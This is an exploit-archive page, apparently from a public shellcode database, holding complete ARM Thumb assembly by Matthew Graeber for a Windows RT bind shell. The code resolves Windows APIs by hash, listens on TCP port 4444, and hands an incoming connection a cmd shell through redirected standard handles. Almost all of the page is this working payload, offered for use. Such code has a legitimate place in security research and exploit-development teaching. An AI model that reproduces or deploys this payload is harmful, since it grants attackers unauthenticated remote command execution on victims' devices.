Windows RT ARM Bind Shell (Port 4444)



EKU-ID: 3392 CVE: OSVDB-ID:
Author: Matthew Graeber Published: 2013-07-29 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


; Title:     Windows RT ARM Bind Shell (Port 4444)
; Date:      July 28, 2013
; Author:    Matthew Graeber (@mattifestation)
; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; License:   BSD 3-Clause
; Syntax:    MASM
  
; Notes: In order for this to work properly, you have to call this payload
;        at baseaddress + 1 since it is thumb code.
;        This was built with armasm.exe from Visual Studio 2012
  
  
    AREA    |.foo|, CODE, THUMB
    ; After linking, the resulting executable will only
    ; have a single section (with RX permissions) named .foo
  
    EXPORT  main
  
main
    push        {r4,lr}     ; Preserve registers on the stack
    bl          ExecutePayload  ; Execute bind shell function
    pop         {r4,pc}     ; Restore registers on the stack and return to caller
  
  
GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
    push        {r1-r11,lr}     ; Preserve registers on the stack
    mov         r9,r0       ; Save the function hash in R9
    mrc         p15,#0,r3,c13,c0,#2 ; R3 = &TEB
    ldr         r3,[r3,#0x30]   ; R3 = &PEB
    ldr         r3,[r3,#0xC]    ; R3 = PEB->Ldr
    movs        r6,#0       ; R6 = 0
    ldr         r1,[r3,#0xC]    ; R1 = Ldr->InLoadOrderModuleList
    ldr         r4,[r1,#0x18]   ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
    ldr         r3,[r1,#0x2C]   ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
    ldr         r7,[r1,#0x30]   ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
    str         r3,[sp]     ; Store BaseDllName.Length/MaximumLength on the stack
    cbz         r4,exit_failure ; If DllBase == 0, you've likely reached the end of the module list. Return 0.
    mov         r10,#0xD        ; R10 = ROR value (13)
    mov         r11,#0xD        ; R11 = ROR value (13)
get_module_hash     ; Improvement: Need to validate MaximumLength != 0
    ldrh        r5,[sp,#2]      ; BaseDllName.MaximumLength
    movs        r2,#0       ; i = 0
    cbz         r5,get_export_dir   ; Reached the last char of BaseDllName
ror_module_char
    ldrsb       r3,[r7,r2]      ; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
    rors        r0,r6,r10       ; Calculate the next portion of the module hash
    cmp         r3,#0x61        ; Is the character lower case?
    blt         notlowercase
    adds        r3,r3,r0        ; Add to the running hash value
    subs        r6,r3,#0x20     ; Convert character to upper case
    b           get_next_char
notlowercase
    adds        r6,r3,r0        ; Add to the running hash value
get_next_char
    adds        r2,#1       ; Move to the next character
    cmp         r2,r5       ; Reached the last character in the module name?
    bcc         ror_module_char ; If not, move on to the next character
get_export_dir
    ; At this point, the module hash has been calculated.
    ; Now begin calculating the function hash
    ldr         r3,[r4,#0x3C]   ; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
    adds        r3,r3,r4        ; PIMAGE_NT_HEADERS
    ldr         r3,[r3,#0x78]   ; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
    cbz         r3,get_next_module  ; Move to the next module if it doesn't have an export directory (i.e. most exe files)
    adds        r5,r3,r4        ; Calculate export dir virtual address
    ldr         r3,[r5,#0x20]   ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
    ldr         r7,[r5,#0x18]   ; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
    movs        r0,#0
    adds        r8,r3,r4        ; AddressOfNames VA
    cbz         r7,get_next_module  ; Move on to the next module if there are no exported names
calc_func_hash
    ldr         r3,[r8],#4      ; R3 = Current name RVA
    movs        r2,#0
    adds        lr,r3,r4        ; lr = Current name VA
get_func_char
    ldrsb       r3,[lr]     ; Load char from the function name
    rors        r2,r2,r11       ; Calculate the next portion of the function hash
    adds        r2,r2,r3        ; Add to the running hash value
    ldrsb       r3,[lr],#1      ; Peek at the next char
    cmp         r3,#0       ; Are you at the end of the function string?
    bne         get_func_char   ; If not, calculate hash for the next char.
    adds        r3,r2,r6        ; Add the module hash to the function hash
    cmp         r3,r9       ; Does the calulated hash match the hash provided?
    beq         get_func_addr
    adds        r0,#1
    cmp         r0,r7       ; Are there more functions to process?
    bcc         calc_func_hash
get_next_module
    ldr         r1,[r1]     ; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
    movs        r6,#0       ; Clear the function hash
    ; Improvement: The following portion is redundant
    ldr         r4,[r1,#0x18]   ; R4 = LDR_DATA_TABLE_ENTRY.DllBase
    ldr         r3,[r1,#0x2C]   ; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
    ldr         r7,[r1,#0x30]   ; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
    cmp         r4,#0       ; DllBase == 0?
    str         r3,[sp]     ; Store BaseDllName.Length/MaximumLength on the stack
    bne         get_module_hash
exit_failure
    movs        r0,#0       ; Return 0 upon failure to find a matching hash
exit_success
    pop         {r1-r11,pc}     ; Restore stack and return to caller with the function address in R0
get_func_addr
    ldr         r3,[r5,#0x24]   ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
    add         r3,r3,r0,lsl #1
    ldrh        r2,[r3,r4]      ; R2 = Ordinal table index
    ldr         r3,[r5,#0x1C]   ; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
    add         r3,r3,r2,lsl #2
    ldr         r3,[r3,r4]      ; Function RVA
    adds        r0,r3,r4        ; R0 = Function VA
    b           exit_success
  
ExecutePayload
    ; Improvement: None of the calls to GetProcAddress
    ;  validate that a valid address was actually returned
    ; Metasploit shellcode doesn't perform this validation either. :P
    push        {r4-r11,lr}     ; Preserve registers on the stack
    subw        sp,sp,#0x214    ; Allocate soace on the stack for local variables
    movs        r3,#0x44        ; sizeof(_PROCESS_INFORMATION)
    add         r2,sp,#0x38     ; R2 = &StartupInfo
    movs        r1,#0
init_mem1
    ; Improvement: I could just initialize everything on the stack to 0
    strb        r1,[r2],#1      ; Set current byte to 0
    subs        r3,#1
    bne         init_mem1
    movs        r3,#0x10        ; sizeof(_STARTUPINFOW)
    add         r2,sp,#0x28     ; R2 = &ProcessInformation
init_mem2
    strb        r1,[r2],#1      ; Set current byte to 0
    subs        r3,#1
    bne         init_mem2
  
    ldr         r0,HASH_LoadLibraryA
    bl          GetProcAddress
    mov         r3,r0
    adr         r0,module_name  ; &"ws2_32.dll"
    blx         r3          ; LoadLibrary("ws2_32.dll");
    ldr         r0,HASH_WsaStartup
    bl          GetProcAddress
    mov         r4,r0
    ldr         r0,HASH_WsaSocketA
    bl          GetProcAddress
    mov         r5,r0
    ldr         r0,HASH_Bind
    bl          GetProcAddress
    mov         r6,r0
    ldr         r0,HASH_Listen
    bl          GetProcAddress
    mov         r7,r0
    ldr         r0,HASH_Accept
    bl          GetProcAddress
    mov         r8,r0
    ldr         r0,HASH_CloseSocket
    bl          GetProcAddress
    mov         r9,r0
    ldr         r0,HASH_CreateProcess
    bl          GetProcAddress
    mov         r10,r0
    ldr         r0,HASH_WaitForSingleObject
    bl          GetProcAddress
    mov         r11,r0
    mov         r0,#0x0202
    add         r1,sp,#0x80
    blx         r4          ; WSAStartup(MAKEWORD(2, 2), &WSAData);
    movs        r3,#0
    movs        r2,#0
    movs        r1,#1
    movs        r0,#2
    str         r3,[sp,#4]
    str         r3,[sp]
    blx         r5          ; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
    movs        r3,#2       ; service.sin_family = AF_INET;
    strh        r3,[sp,#0x18]
    movs        r3,#0       ; service.sin_addr.s_addr = 0;
    str         r3,[sp,#0x1C]
    mov         r3,#0x5C11      ; service.sin_port = HTONS(4444);
    movs        r2,#0x10
    add         r1,sp,#0x18
    strh        r3,[sp,#0x1A]
    mov         r5,r0       ; WSASocketA returned socket (s)
    blx         r6          ; Bind( s, (SOCKADDR *) &service, sizeof(service) );
    movs        r1,#0
    mov         r0,r5
    blx         r7          ; Listen( s, 0 );
    movs        r2,#0
    movs        r1,#0
    mov         r0,r5
    blx         r8          ; AcceptedSocket = Accept( s, 0, 0 );
    mov         r4,r0
    mov         r0,r5
    blx         r9          ; CloseSocket( s ); Close the original socket
    mov         r3,#0x101       ; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    str         r3,[sp,#0x64]
    movs        r3,#0x44        ; StartupInfo.cb = 68;
    str         r3,[sp,#0x38]
    add         r3,sp,#0x28
    str         r3,[sp,#0x14]
    add         r3,sp,#0x38
    str         r3,[sp,#0x10]
    movs        r3,#0
    str         r3,[sp,#0xC]
    str         r3,[sp,#8]
    str         r3,[sp,#4]
    movs        r3,#1
    adr         r1,cmdline      ; &"cmd"
    str         r3,[sp]
    movs        r3,#0
    movs        r2,#0
    movs        r0,#0
    str         r4,[sp,#0x78]   ; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
    str         r4,[sp,#0x74]   ; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
    str         r4,[sp,#0x70]   ; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
    blx         r10         ; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
    ldr         r0,[sp,#0x28]
    mvn         r1,#0
    blx         r11         ; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
    addw        sp,sp,#0x214
    pop         {r4-r11,pc}
  
HASH_WaitForSingleObject
    DCD         0x601d8708
HASH_CreateProcess
    DCD         0x863fcc79
HASH_CloseSocket
    DCD         0x614d6e75
HASH_Accept
    DCD         0xe13bec74
HASH_Listen
    DCD         0xff38e9b7
HASH_Bind
    DCD         0x6737dbc2
HASH_WsaSocketA
    DCD         0xe0df0fea
HASH_WsaStartup
    DCD         0x006b8029
HASH_LoadLibraryA
    DCD         0x0726774c
  
cmdline
    DCB "cmd", 0x0
  
module_name
    DCB "ws2_32.dll", 0x0
  
  
    END